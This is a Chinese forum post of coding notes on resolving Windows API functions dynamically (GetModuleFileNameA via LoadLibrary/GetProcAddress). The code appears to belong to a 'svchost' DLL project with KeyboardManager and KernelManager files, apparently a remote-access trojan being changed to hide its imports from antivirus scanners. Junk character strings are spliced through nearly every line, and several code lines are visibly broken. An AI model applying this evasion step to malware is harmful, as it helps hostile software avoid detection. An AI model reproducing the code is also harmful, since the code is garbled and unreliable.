[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记0 z: r9 s- o6 j: ]7 v0 ^1 Z* V
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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! Y1 p- `1 e$ U5 o- PDTDY.h：7 W5 ^3 M+ R2 b& x, A+ y$ o7 L8 h

; Z0 N; g5 ?, k4 s#if _MSC_VER>1000" @, I8 t1 ?5 y2 ^2 X
#pragma once
7 {9 \1 B9 M' F7 p# g- h6 ?! H#endif //_MSC_VER>1000
) r! w  L, j" W#include<windows.h>
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% t6 k3 a( ^; v9 l, l8 T' k( t) Vtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);3 }. S/ |, e: `
class DTDY
) W' ^, F. _& t{
' m* I# r3 n  D* @' Dpublic:
/ ^2 M0 C# S1 C  cDTDY();( I6 |" z, m3 L  s* O) D
virtual ~DTDY();8 q( j3 h! W- W' W+ _, h! L4 A" [
public:
0 p5 w4 ?2 x" b7 Rstatic pGetModuleFileNameA MyGetModuleFileName;
$ O% u3 r; |( ~2 F8 }/ n3 k! |static BOOL FunInitiallization();! U8 y) {. Q; Z
};
6 H7 b* P( G: t# R" s3 y4 T#endif
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DTDY.cpp:2 ?" }/ ^) f1 A( ?  [  p0 `
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#include "DTDY.h"0 J6 O! t# w6 }8 m' F' l" b4 o( A
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
% @) {3 U( Q9 k5 y4 y9 gDTDY:TDY()
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DTDY::~DTDY()
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BOOL DTDY::FunInitiallization()
0 G# A$ T2 K# |5 n{
8 ^+ _0 F; t% K5 m  Z: \; f; ?HMODULE hModule=LoadLibrary("kernel32.dll");1 H' `8 {1 w/ `
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
5 U4 U  F) U' g6 {+ \) Eif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:* K/ ?3 v3 i; N2 R' F2 ?* n
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#include "DTDY.h"
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! A4 q; a, ~. }/ P9 Y1 \/ tBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)3 S  W9 }% Y0 B/ n/ Z
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switch(ul_reason_for_call)( {( r) U4 I. `' h5 j3 P: P; L
{
  b1 D5 I+ A' I9 b, X; H, [# kcase DLL_PROCESS_ATTACH:
# K1 F$ I2 ]0 O  o8 G3 eif(!DTDY::FunInitiallization()) return FALSE;4 Y) d+ D) H0 m! ~* x5 I& b& p+ p# l
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break;
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( x) j" T  Y) }}
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& g1 b& `1 I8 L, Y4 MGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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: i7 H9 s2 l2 t2 U+ `KernelManager.cpp:
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#include "../DTDY.h"4 _3 n3 t. p3 s- K- s% H
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));- w7 u( v1 k+ c) q4 r6 Z- f
改写为" J/ k, @( t$ C3 c
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 M0 V" o( H4 y) B5 n2 v, G
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